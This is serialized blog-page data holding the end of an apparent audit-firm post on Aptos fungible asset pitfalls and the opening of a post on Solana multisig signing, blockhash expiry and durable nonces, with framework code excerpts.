metadata",{"type":24,"tag":930,"props":70002,"children":70003},{"style":1158},[70004],{"type":30,"value":6137},{"type":24,"tag":930,"props":70006,"children":70007},{"style":1023},[70008],{"type":30,"value":70009}," ensure_paired_metadata",{"type":24,"tag":930,"props":70011,"children":70012},{"style":959},[70013],{"type":30,"value":1350},{"type":24,"tag":930,"props":70015,"children":70016},{"style":943},[70017],{"type":30,"value":9695},{"type":24,"tag":930,"props":70019,"children":70020},{"style":959},[70021],{"type":30,"value":11561},{"type":24,"tag":930,"props":70023,"children":70024},{"class":932,"line":1066},[70025,70029,70034,70038,70043,70047,70051],{"type":24,"tag":930,"props":70026,"children":70027},{"style":937},[70028],{"type":30,"value":6122},{"type":24,"tag":930,"props":70030,"children":70031},{"style":1023},[70032],{"type":30,"value":70033}," amount",{"type":24,"tag":930,"props":70035,"children":70036},{"style":1158},[70037],{"type":30,"value":6137},{"type":24,"tag":930,"props":70039,"children":70040},{"style":1002},[70041],{"type":30,"value":70042}," burn_internal",{"type":24,"tag":930,"props":70044,"children":70045},{"style":959},[70046],{"type":30,"value":1010},{"type":24,"tag":930,"props":70048,"children":70049},{"style":1023},[70050],{"type":30,"value":64020},{"type":24,"tag":930,"props":70052,"children":70053},{"style":959},[70054],{"type":30,"value":1278},{"type":24,"tag":930,"props":70056,"children":70057},{"class":932,"line":1075},[70058,70062,70066,70071,70075,70079,70083,70087],{"type":24,"tag":930,"props":70059,"children":70060},{"style":959},[70061],{"type":30,"value":69046},{"type":24,"tag":930,"props":70063,"children":70064},{"style":1158},[70065],{"type":30,"value":6597},{"type":24,"tag":930,"props":70067,"children":70068},{"style":1002},[70069],{"type":30,"value":70070},"mint_internal",{"type":24,"tag":930,"props":70072,"children":70073},{"style":959},[70074],{"type":30,"value":1010},{"type":24,"tag":930,"props":70076,"children":70077},{"style":1023},[70078],{"type":30,"value":65398},{"type":24,"tag":930,"props":70080,"children":70081},{"style":959},[70082],{"type":30,"value":962},{"type":24,"tag":930,"props":70084,"children":70085},{"style":1023},[70086],{"type":30,"value":23410},{"type":24,"tag":930,"props":70088,"children":70089},{"style":959},[70090],{"type":30,"value":1054},{"type":24,"tag":930,"props":70092,"children":70093},{"class":932,"line":1122},[70094],{"type":24,"tag":930,"props":70095,"children":70096},{"style":959},[70097],{"type":30,"value":2528},{"type":24,"tag":33,"props":70099,"children":70100},{},[70101,70103,70110],{"type":30,"value":70102},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":24,"tag":37,"props":70104,"children":70107},{"href":70105,"rel":70106},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[41],[70108],{"type":30,"value":70109},"noticed an overlooked detail",{"type":30,"value":70111}," in the linking process.",{"type":24,"tag":920,"props":70113,"children":70115},{"className":6102,"code":70114,"language":6101,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[70116],{"type":24,"tag":156,"props":70117,"children":70118},{"__ignoreMap":7},[70119,70134,70154,70171,70227,70248,70268,70288,70318,70345,70352],{"type":24,"tag":930,"props":70120,"children":70121},{"class":932,"line":933},[70122,70126,70130],{"type":24,"tag":930,"props":70123,"children":70124},{"style":959},[70125],{"type":30,"value":6849},{"type":24,"tag":930,"props":70127,"children":70128},{"style":1158},[70129],{"type":30,"value":12699},{"type":24,"tag":930,"props":70131,"children":70132},{"style":959},[70133],{"type":30,"value":14879},{"type":24,"tag":930,"props":70135,"children":70136},{"class":932,"line":984},[70137,70141,70145,70150],{"type":24,"tag":930,"props":70138,"children":70139},{"style":959},[70140],{"type":30,"value":65695},{"type":24,"tag":930,"props":70142,"children":70143},{"style":1158},[70144],{"type":30,"value":6597},{"type":24,"tag":930,"props":70146,"children":70147},{"style":1002},[70148],{"type":30,"value":70149},"create_primary_store_enabled_fungible_asset",{"type":24,"tag":930,"props":70151,"children":70152},{"style":959},[70153],{"type":30,"value":2814},{"type":24,"tag":930,"props":70155,"children":70156},{"class":932,"line":993},[70157,70162,70167],{"type":24,"tag":930,"props":70158,"children":70159},{"style":1158},[70160],{"type":30,"value":70161},"    &",{"type":24,"tag":930,"props":70163,"children":70164},{"style":1023},[70165],{"type":30,"value":70166},"metadata_object_cref",{"type":24,"tag":930,"props":70168,"children":70169},{"style":959},[70170],{"type":30,"value":2832},{"type":24,"tag":930,"props":70172,"children":70173},{"class":932,"line":1057},[70174,70179,70183,70188,70192,70197,70201,70205,70210,70214,70218,70222],{"type":24,"tag":930,"props":70175,"children":70176},{"style":959},[70177],{"type":30,"value":70178},"    option",{"type":24,"tag":930,"props":70180,"children":70181},{"style":1158},[70182],{"type":30,"value":6597},{"type":24,"tag":930,"props":70184,"children":70185},{"style":1002},[70186],{"type":30,"value":70187},"map",{"type":24,"tag":930,"props":70189,"children":70190},{"style":959},[70191],{"type":30,"value":1010},{"type":24,"tag":930,"props":70193,"children":70194},{"style":1023},[70195],{"type":30,"value":70196},"coin_supply",{"type":24,"tag":930,"props":70198,"children":70199},{"style":959},[70200],{"type":30,"value":1350},{"type":24,"tag":930,"props":70202,"children":70203},{"style":943},[70204],{"type":30,"value":9695},{"type":24,"tag":930,"props":70206,"children":70207},{"style":959},[70208],{"type":30,"value":70209},">(), ",{"type":24,"tag":930,"props":70211,"children":70212},{"style":1158},[70213],{"type":30,"value":13523},{"type":24,"tag":930,"props":70215,"children":70216},{"style":1023},[70217],{"type":30,"value":6204},{"type":24,"tag":930,"props":70219,"children":70220},{"style":1158},[70221],{"type":30,"value":13523},{"type":24,"tag":930,"props":70223,"children":70224},{"style":959},[70225],{"type":30,"value":70226}," MAX_U128),\n",{"type":24,"tag":930,"props":70228,"children":70229},{"class":932,"line":1066},[70230,70235,70239,70243],{"type":24,"tag":930,"props":70231,"children":70232},{"style":1023},[70233],{"type":30,"value":70234},"    name",{"type":24,"tag":930,"props":70236,"children":70237},{"style":959},[70238],{"type":30,"value":1350},{"type":24,"tag":930,"props":70240,"children":70241},{"style":943},[70242],{"type":30,"value":9695},{"type":24,"tag":930,"props":70244,"children":70245},{"style":959},[70246],{"type":30,"value":70247},">(),\n",{"type":24,"tag":930,"props":70249,"children":70250},{"class":932,"line":1075},[70251,70256,70260,70264],{"type":24,"tag":930,"props":70252,"children":70253},{"style":1023},[70254],{"type":30,"value":70255},"    symbol",{"type":24,"tag":930,"props":70257,"children":70258},{"style":959},[70259],{"type":30,"value":1350},{"type":24,"tag":930,"props":70261,"children":70262},{"style":943},[70263],{"type":30,"value":9695},{"type":24,"tag":930,"props":70265,"children":70266},{"style":959},[70267],{"type":30,"value":70247},{"type":24,"tag":930,"props":70269,"children":70270},{"class":932,"line":1122},[70271,70276,70280,70284],{"type":24,"tag":930,"props":70272,"children":70273},{"style":1023},[70274],{"type":30,"value":70275},"    decimals",{"type":24,"tag":930,"props":70277,"children":70278},{"style":959},[70279],{"type":30,"value":1350},{"type":24,"tag":930,"props":70281,"children":70282},{"style":943},[70283],{"type":30,"value":9695},{"type":24,"tag":930,"props":70285,"children":70286},{"style":959},[70287],{"type":30,"value":70247},{"type":24,"tag":930,"props":70289,"children":70290},{"class":932,"line":1131},[70291,70296,70300,70305,70309,70314],{"type":24,"tag":930,"props":70292,"children":70293},{"style":959},[70294],{"type":30,"value":70295},"    string",{"type":24,"tag":930,"props":70297,"children":70298},{"style":1158},[70299],{"type":30,"value":6597},{"type":24,"tag":930,"props":70301,"children":70302},{"style":1002},[70303],{"type":30,"value":70304},"utf8",{"type":24,"tag":930,"props":70306,"children":70307},{"style":959},[70308],{"type":30,"value":1010},{"type":24,"tag":930,"props":70310,"children":70311},{"style":1270},[70312],{"type":30,"value":70313},"b\"\"",{"type":24,"tag":930,"props":70315,"children":70316},{"style":959},[70317],{"type":30,"value":9848},{"type":24,"tag":930,"props":70319,"children":70320},{"class":932,"line":1144},[70321,70325,70329,70333,70337,70341],{"type":24,"tag":930,"props":70322,"children":70323},{"style":959},[70324],{"type":30,"value":70295},{"type":24,"tag":930,"props":70326,"children":70327},{"style":1158},[70328],{"type":30,"value":6597},{"type":24,"tag":930,"props":70330,"children":70331},{"style":1002},[70332],{"type":30,"value":70304},{"type":24,"tag":930,"props":70334,"children":70335},{"style":959},[70336],{"type":30,"value":1010},{"type":24,"tag":930,"props":70338,"children":70339},{"style":1270},[70340],{"type":30,"value":70313},{"type":24,"tag":930,"props":70342,"children":70343},{"style":959},[70344],{"type":30,"value":9848},{"type":24,"tag":930,"props":70346,"children":70347},{"class":932,"line":1169},[70348],{"type":24,"tag":930,"props":70349,"children":70350},{"style":959},[70351],{"type":30,"value":1278},{"type":24,"tag":930,"props":70353,"children":70354},{"class":932,"line":1191},[70355,70359,70363],{"type":24,"tag":930,"props":70356,"children":70357},{"style":959},[70358],{"type":30,"value":6849},{"type":24,"tag":930,"props":70360,"children":70361},{"style":1158},[70362],{"type":30,"value":12699},{"type":24,"tag":930,"props":70364,"children":70365},{"style":959},[70366],{"type":30,"value":14879},{"type":24,"tag":33,"props":70368,"children":70369},{},[70370,70372,70377],{"type":30,"value":70371},"When the linked fungible asset was created, the current ",{"type":24,"tag":156,"props":70373,"children":70375},{"className":70374},[],[70376],{"type":30,"value":64053},{"type":30,"value":70378}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":24,"tag":33,"props":70380,"children":70381},{},[70382,70384,70389,70391,70397,70399,70404],{"type":30,"value":70383},"Users can manually migrate their ",{"type":24,"tag":156,"props":70385,"children":70387},{"className":70386},[],[70388],{"type":30,"value":64215},{"type":30,"value":70390}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":24,"tag":156,"props":70392,"children":70394},{"className":70393},[],[70395],{"type":30,"value":70396},"\u003CCoinStore\u003CCoinType>>",{"type":30,"value":70398}," from the caller. All coins in the ",{"type":24,"tag":156,"props":70400,"children":70402},{"className":70401},[],[70403],{"type":30,"value":64215},{"type":30,"value":70405}," are exchanged and transferred to the new store during the migration.",{"type":24,"tag":920,"props":70407,"children":70409},{"className":6102,"code":70408,"language":6101,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[70410],{"type":24,"tag":156,"props":70411,"children":70412},{"__ignoreMap":7},[70413,70421,70453,70473,70509,70550],{"type":24,"tag":930,"props":70414,"children":70415},{"class":932,"line":933},[70416],{"type":24,"tag":930,"props":70417,"children":70418},{"style":1422},[70419],{"type":30,"value":70420},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":24,"tag":930,"props":70422,"children":70423},{"class":932,"line":984},[70424,70428,70432,70436,70441,70445,70449],{"type":24,"tag":930,"props":70425,"children":70426},{"style":1023},[70427],{"type":30,"value":64762},{"type":24,"tag":930,"props":70429,"children":70430},{"style":1023},[70431],{"type":30,"value":65728},{"type":24,"tag":930,"props":70433,"children":70434},{"style":1023},[70435],{"type":30,"value":9320},{"type":24,"tag":930,"props":70437,"children":70438},{"style":1023},[70439],{"type":30,"value":70440}," migrate_to_fungible_store",{"type":24,"tag":930,"props":70442,"children":70443},{"style":959},[70444],{"type":30,"value":1350},{"type":24,"tag":930,"props":70446,"children":70447},{"style":943},[70448],{"type":30,"value":9695},{"type":24,"tag":930,"props":70450,"children":70451},{"style":959},[70452],{"type":30,"value":9700},{"type":24,"tag":930,"props":70454,"children":70455},{"class":932,"line":993},[70456,70460,70464,70468],{"type":24,"tag":930,"props":70457,"children":70458},{"style":1023},[70459],{"type":30,"value":28263},{"type":24,"tag":930,"props":70461,"children":70462},{"style":1158},[70463],{"type":30,"value":476},{"type":24,"tag":930,"props":70465,"children":70466},{"style":1158},[70467],{"type":30,"value":10253},{"type":24,"tag":930,"props":70469,"children":70470},{"style":1023},[70471],{"type":30,"value":70472},"signer\n",{"type":24,"tag":930,"props":70474,"children":70475},{"class":932,"line":1057},[70476,70480,70484,70488,70492,70497,70501,70505],{"type":24,"tag":930,"props":70477,"children":70478},{"style":959},[70479],{"type":30,"value":5579},{"type":24,"tag":930,"props":70481,"children":70482},{"style":1023},[70483],{"type":30,"value":9456},{"type":24,"tag":930,"props":70485,"children":70486},{"style":943},[70487],{"type":30,"value":64236},{"type":24,"tag":930,"props":70489,"children":70490},{"style":959},[70491],{"type":30,"value":962},{"type":24,"tag":930,"props":70493,"children":70494},{"style":943},[70495],{"type":30,"value":70496},"CoinConversionMap",{"type":24,"tag":930,"props":70498,"children":70499},{"style":959},[70500],{"type":30,"value":962},{"type":24,"tag":930,"props":70502,"children":70503},{"style":943},[70504],{"type":30,"value":9825},{"type":24,"tag":930,"props":70506,"children":70507},{"style":959},[70508],{"type":30,"value":981},{"type":24,"tag":930,"props":70510,"children":70511},{"class":932,"line":1066},[70512,70517,70521,70525,70530,70534,70538,70542,70546],{"type":24,"tag":930,"props":70513,"children":70514},{"style":1023},[70515],{"type":30,"value":70516},"    maybe_convert_to_fungible_store",{"type":24,"tag":930,"props":70518,"children":70519},{"style":959},[70520],{"type":30,"value":1350},{"type":24,"tag":930,"props":70522,"children":70523},{"style":943},[70524],{"type":30,"value":9695},{"type":24,"tag":930,"props":70526,"children":70527},{"style":959},[70528],{"type":30,"value":70529},">(signer",{"type":24,"tag":930,"props":70531,"children":70532},{"style":1158},[70533],{"type":30,"value":6597},{"type":24,"tag":930,"props":70535,"children":70536},{"style":1002},[70537],{"type":30,"value":10321},{"type":24,"tag":930,"props":70539,"children":70540},{"style":959},[70541],{"type":30,"value":1010},{"type":24,"tag":930,"props":70543,"children":70544},{"style":1023},[70545],{"type":30,"value":16060},{"type":24,"tag":930,"props":70547,"children":70548},{"style":959},[70549],{"type":30,"value":2058},{"type":24,"tag":930,"props":70551,"children":70552},{"class":932,"line":1075},[70553],{"type":24,"tag":930,"props":70554,"children":70555},{"style":959},[70556],{"type":30,"value":2528},{"type":24,"tag":33,"props":70558,"children":70559},{},[70560,70562,70567,70569,70574],{"type":30,"value":70561},"A curious reader might wonder about the fate of the ",{"type":24,"tag":156,"props":70563,"children":70565},{"className":70564},[],[70566],{"type":30,"value":64215},{"type":30,"value":70568}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":24,"tag":156,"props":70570,"children":70572},{"className":70571},[],[70573],{"type":30,"value":64215},{"type":30,"value":70575}," to ensure consistency.",{"type":24,"tag":69271,"props":70577,"children":70578},{},[70579,70598],{"type":24,"tag":33,"props":70580,"children":70581},{},[70582,70584,70589,70591,70596],{"type":30,"value":70583},"Could an attacker convert their ",{"type":24,"tag":156,"props":70585,"children":70587},{"className":70586},[],[70588],{"type":30,"value":64215},{"type":30,"value":70590}," to a primary fungible store and then register another ",{"type":24,"tag":156,"props":70592,"children":70594},{"className":70593},[],[70595],{"type":30,"value":64215},{"type":30,"value":70597}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":24,"tag":69302,"props":70599,"children":70600},{"v-slot:answer-0":7},[70601],{"type":24,"tag":33,"props":70602,"children":70603},{},[70604],{"type":30,"value":70605},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":24,"tag":68,"props":70607,"children":70608},{"id":5876},[70609],{"type":30,"value":5879},{"type":24,"tag":33,"props":70611,"children":70612},{},[70613,70615,70620],{"type":30,"value":70614},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":24,"tag":156,"props":70616,"children":70618},{"className":70617},[],[70619],{"type":30,"value":64053},{"type":30,"value":436},{"type":24,"tag":33,"props":70622,"children":70623},{},[70624],{"type":30,"value":70625},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":24,"tag":33,"props":70627,"children":70628},{},[70629,70631],{"type":30,"value":70630},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":24,"tag":18577,"props":70632,"children":70633},{},[70634],{"type":24,"tag":37,"props":70635,"children":70637},{"href":32714,"ariaDescribedBy":70636,"dataFootnoteRef":7,"id":32716},[18584],[70638],{"type":30,"value":7129},{"type":24,"tag":21523,"props":70640,"children":70642},{"className":70641,"dataFootnotes":7},[21526],[70643,70648],{"type":24,"tag":68,"props":70644,"children":70646},{"className":70645,"id":18584},[21531],[70647],{"type":30,"value":21534},{"type":24,"tag":478,"props":70649,"children":70650},{},[70651],{"type":24,"tag":100,"props":70652,"children":70653},{"id":33457},[70654,70656,70698],{"type":30,"value":70655},"There are at least four functions that can withdraw a fungible asset:",{"type":24,"tag":96,"props":70657,"children":70658},{},[70659,70669,70678,70688],{"type":24,"tag":100,"props":70660,"children":70661},{},[70662],{"type":24,"tag":37,"props":70663,"children":70667},{"href":70664,"rel":70665,":style":70666},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[41],"color: #007bff;",[70668],{"type":30,"value":67352},{"type":24,"tag":100,"props":70670,"children":70671},{},[70672],{"type":24,"tag":37,"props":70673,"children":70676},{"href":70674,"rel":70675,":style":70666},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[41],[70677],{"type":30,"value":69292},{"type":24,"tag":100,"props":70679,"children":70680},{},[70681],{"type":24,"tag":37,"props":70682,"children":70685},{"href":70683,"rel":70684,":style":70666},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[41],[70686],{"type":30,"value":70687},"primary_fungible_store::withdraw",{"type":24,"tag":100,"props":70689,"children":70690},{},[70691],{"type":24,"tag":37,"props":70692,"children":70695},{"href":70693,"rel":70694,":style":70666},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[41],[70696],{"type":30,"value":70697},"coin::withdraw",{"type":24,"tag":37,"props":70699,"children":70701},{"href":33485,"ariaLabel":21637,"className":70700,"dataFootnoteBackref":7},[21639],[70702],{"type":30,"value":21642},{"type":24,"tag":5957,"props":70704,"children":70705},{},[70706],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":70708},[70709,70710,70711,70714,70719,70720,70721,70722],{"id":64039,"depth":984,"text":64042},{"id":64584,"depth":984,"text":64587},{"id":65143,"depth":984,"text":65146,"children":70712},[70713],{"id":65654,"depth":993,"text":65657},{"id":65911,"depth":984,"text":65914,"children":70715},[70716,70717,70718],{"id":65954,"depth":993,"text":65957},{"id":66658,"depth":993,"text":66661},{"id":68316,"depth":993,"text":68319},{"id":68847,"depth":984,"text":68850},{"id":69828,"depth":984,"text":69831},{"id":5876,"depth":984,"text":5879},{"id":18584,"depth":984,"text":21534},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":70727,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":70728,"description":70729,"date":70730,"author":8832,"image":70731,"isFeatured":16,"onBlogPage":16,"tags":70733,"body":70734,"_type":5983,"_id":72561,"_source":5985,"_file":72562,"_stem":72563,"_extension":5988},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":70732,"width":8498,"height":8499},"/posts/multisig-security/title.png",[6000],{"type":21,"children":70735,"toc":72552},[70736,70749,70755,70760,70766,70779,70787,70800,70860,70882,71009,71014,71027,71039,71045,71059,71072,71086,71567,71572,71580,71594,71608,71747,71759,71765,71770,71788,71793,71798,71819,72103,72118,72306,72319,72448,72453,72458,72463,72491,72497,72502,72516,72548],{"type":24,"tag":33,"props":70737,"children":70738},{},[70739,70740,70747],{"type":30,"value":259},{"type":24,"tag":37,"props":70741,"children":70744},{"href":70742,"rel":70743},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[41],[70745],{"type":30,"value":70746},"Bybit hack",{"type":30,"value":70748}," raises an interesting question: what can teams do if their signers are compromised?",{"type":24,"tag":68,"props":70750,"children":70752},{"id":70751},"solana-signatures",[70753],{"type":30,"value":70754},"Solana Signatures",{"type":24,"tag":33,"props":70756,"children":70757},{},[70758],{"type":30,"value":70759},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":24,"tag":151,"props":70761,"children":70763},{"id":70762},"recent-blockhash",[70764],{"type":30,"value":70765},"Recent Blockhash",{"type":24,"tag":33,"props":70767,"children":70768},{},[70769,70771,70778],{"type":30,"value":70770},"The most straightforward is with a \"recent blockhash\". From ",{"type":24,"tag":37,"props":70772,"children":70775},{"href":70773,"rel":70774},"https://solana.com/developers/guides/advanced/confirmation",[41],[70776],{"type":30,"value":70777},"the docs",{"type":30,"value":476},{"type":24,"tag":6054,"props":70780,"children":70781},{},[70782],{"type":24,"tag":33,"props":70783,"children":70784},{},[70785],{"type":30,"value":70786},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":24,"tag":33,"props":70788,"children":70789},{},[70790,70792,70799],{"type":30,"value":70791},"The actual constant ",{"type":24,"tag":37,"props":70793,"children":70796},{"href":70794,"rel":70795},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[41],[70797],{"type":30,"value":70798},"is defined here",{"type":30,"value":436},{"type":24,"tag":920,"props":70801,"children":70803},{"className":6102,"code":70802,"language":6101,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[70804],{"type":24,"tag":156,"props":70805,"children":70806},{"__ignoreMap":7},[70807,70815],{"type":24,"tag":930,"props":70808,"children":70809},{"class":932,"line":933},[70810],{"type":24,"tag":930,"props":70811,"children":70812},{"style":1422},[70813],{"type":30,"value":70814},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":24,"tag":930,"props":70816,"children":70817},{"class":932,"line":984},[70818,70822,70826,70831,70835,70839,70843,70848,70852,70856],{"type":24,"tag":930,"props":70819,"children":70820},{"style":937},[70821],{"type":30,"value":16797},{"type":24,"tag":930,"props":70823,"children":70824},{"style":937},[70825],{"type":30,"value":42198},{"type":24,"tag":930,"props":70827,"children":70828},{"style":959},[70829],{"type":30,"value":70830}," MAX_PROCESSING_AGE",{"type":24,"tag":930,"props":70832,"children":70833},{"style":1158},[70834],{"type":30,"value":476},{"type":24,"tag":930,"props":70836,"children":70837},{"style":943},[70838],{"type":30,"value":16838},{"type":24,"tag":930,"props":70840,"children":70841},{"style":1158},[70842],{"type":30,"value":6137},{"type":24,"tag":930,"props":70844,"children":70845},{"style":959},[70846],{"type":30,"value":70847}," MAX_RECENT_BLOCKHASHES ",{"type":24,"tag":930,"props":70849,"children":70850},{"style":1158},[70851],{"type":30,"value":1471},{"type":24,"tag":930,"props":70853,"children":70854},{"style":1242},[70855],{"type":30,"value":11044},{"type":24,"tag":930,"props":70857,"children":70858},{"style":959},[70859],{"type":30,"value":5539},{"type":24,"tag":33,"props":70861,"children":70862},{},[70863,70865,70872,70874,70880],{"type":30,"value":70864},"For those curious, the logic ",{"type":24,"tag":37,"props":70866,"children":70869},{"href":70867,"rel":70868},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[41],[70870],{"type":30,"value":70871},"starts here",{"type":30,"value":70873}," and is quite straightforward to follow, ending in a ",{"type":24,"tag":156,"props":70875,"children":70877},{"className":70876},[],[70878],{"type":30,"value":70879},"is_hash_index_valid",{"type":30,"value":70881}," check.",{"type":24,"tag":920,"props":70883,"children":70885},{"className":6102,"code":70884,"language":6101,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[70886],{"type":24,"tag":156,"props":70887,"children":70888},{"__ignoreMap":7},[70889,70968,71002],{"type":24,"tag":930,"props":70890,"children":70891},{"class":932,"line":933},[70892,70896,70901,70905,70910,70914,70918,70922,70927,70931,70935,70939,70944,70948,70952,70956,70960,70964],{"type":24,"tag":930,"props":70893,"children":70894},{"style":937},[70895],{"type":30,"value":23370},{"type":24,"tag":930,"props":70897,"children":70898},{"style":1002},[70899],{"type":30,"value":70900}," is_hash_index_valid",{"type":24,"tag":930,"props":70902,"children":70903},{"style":959},[70904],{"type":30,"value":1010},{"type":24,"tag":930,"props":70906,"children":70907},{"style":1023},[70908],{"type":30,"value":70909},"last_hash_index",{"type":24,"tag":930,"props":70911,"children":70912},{"style":1158},[70913],{"type":30,"value":476},{"type":24,"tag":930,"props":70915,"children":70916},{"style":943},[70917],{"type":30,"value":8972},{"type":24,"tag":930,"props":70919,"children":70920},{"style":959},[70921],{"type":30,"value":962},{"type":24,"tag":930,"props":70923,"children":70924},{"style":1023},[70925],{"type":30,"value":70926},"max_age",{"type":24,"tag":930,"props":70928,"children":70929},{"style":1158},[70930],{"type":30,"value":476},{"type":24,"tag":930,"props":70932,"children":70933},{"style":943},[70934],{"type":30,"value":16838},{"type":24,"tag":930,"props":70936,"children":70937},{"style":959},[70938],{"type":30,"value":962},{"type":24,"tag":930,"props":70940,"children":70941},{"style":1023},[70942],{"type":30,"value":70943},"hash_index",{"type":24,"tag":930,"props":70945,"children":70946},{"style":1158},[70947],{"type":30,"value":476},{"type":24,"tag":930,"props":70949,"children":70950},{"style":943},[70951],{"type":30,"value":8972},{"type":24,"tag":930,"props":70953,"children":70954},{"style":959},[70955],{"type":30,"value":5579},{"type":24,"tag":930,"props":70957,"children":70958},{"style":1158},[70959],{"type":30,"value":16864},{"type":24,"tag":930,"props":70961,"children":70962},{"style":943},[70963],{"type":30,"value":15157},{"type":24,"tag":930,"props":70965,"children":70966},{"style":959},[70967],{"type":30,"value":981},{"type":24,"tag":930,"props":70969,"children":70970},{"class":932,"line":984},[70971,70976,70980,70985,70989,70994,70998],{"type":24,"tag":930,"props":70972,"children":70973},{"style":1023},[70974],{"type":30,"value":70975},"    last_hash_index",{"type":24,"tag":930,"props":70977,"children":70978},{"style":1158},[70979],{"type":30,"value":54344},{"type":24,"tag":930,"props":70981,"children":70982},{"style":1023},[70983],{"type":30,"value":70984}," hash_index",{"type":24,"tag":930,"props":70986,"children":70987},{"style":1158},[70988],{"type":30,"value":11306},{"type":24,"tag":930,"props":70990,"children":70991},{"style":1023},[70992],{"type":30,"value":70993}," max_age",{"type":24,"tag":930,"props":70995,"children":70996},{"style":937},[70997],{"type":30,"value":11937},{"type":24,"tag":930,"props":70999,"children":71000},{"style":943},[71001],{"type":30,"value":16304},{"type":24,"tag":930,"props":71003,"children":71004},{"class":932,"line":993},[71005],{"type":24,"tag":930,"props":71006,"children":71007},{"style":959},[71008],{"type":30,"value":2528},{"type":24,"tag":33,"props":71010,"children":71011},{},[71012],{"type":30,"value":71013},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":24,"tag":6054,"props":71015,"children":71016},{},[71017],{"type":24,"tag":33,"props":71018,"children":71019},{},[71020,71022],{"type":30,"value":71021},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":24,"tag":275,"props":71023,"children":71024},{},[71025],{"type":30,"value":71026},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":24,"tag":33,"props":71028,"children":71029},{},[71030,71032,71037],{"type":30,"value":71031},"This means an attacker ",{"type":24,"tag":6032,"props":71033,"children":71034},{},[71035],{"type":30,"value":71036},"must use",{"type":30,"value":71038}," a malicious signed transaction within a short timeframe.",{"type":24,"tag":151,"props":71040,"children":71042},{"id":71041},"durable-nonce",[71043],{"type":30,"value":71044},"Durable Nonce",{"type":24,"tag":33,"props":71046,"children":71047},{},[71048,71050,71057],{"type":30,"value":71049},"The second type of signature ",{"type":24,"tag":37,"props":71051,"children":71054},{"href":71052,"rel":71053},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[41],[71055],{"type":30,"value":71056},"is a durable nonce",{"type":30,"value":71058},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":24,"tag":6054,"props":71060,"children":71061},{},[71062],{"type":24,"tag":33,"props":71063,"children":71064},{},[71065,71067],{"type":30,"value":71066},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":24,"tag":275,"props":71068,"children":71069},{},[71070],{"type":30,"value":71071},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":24,"tag":33,"props":71073,"children":71074},{},[71075,71077,71084],{"type":30,"value":71076},"If we examine the code 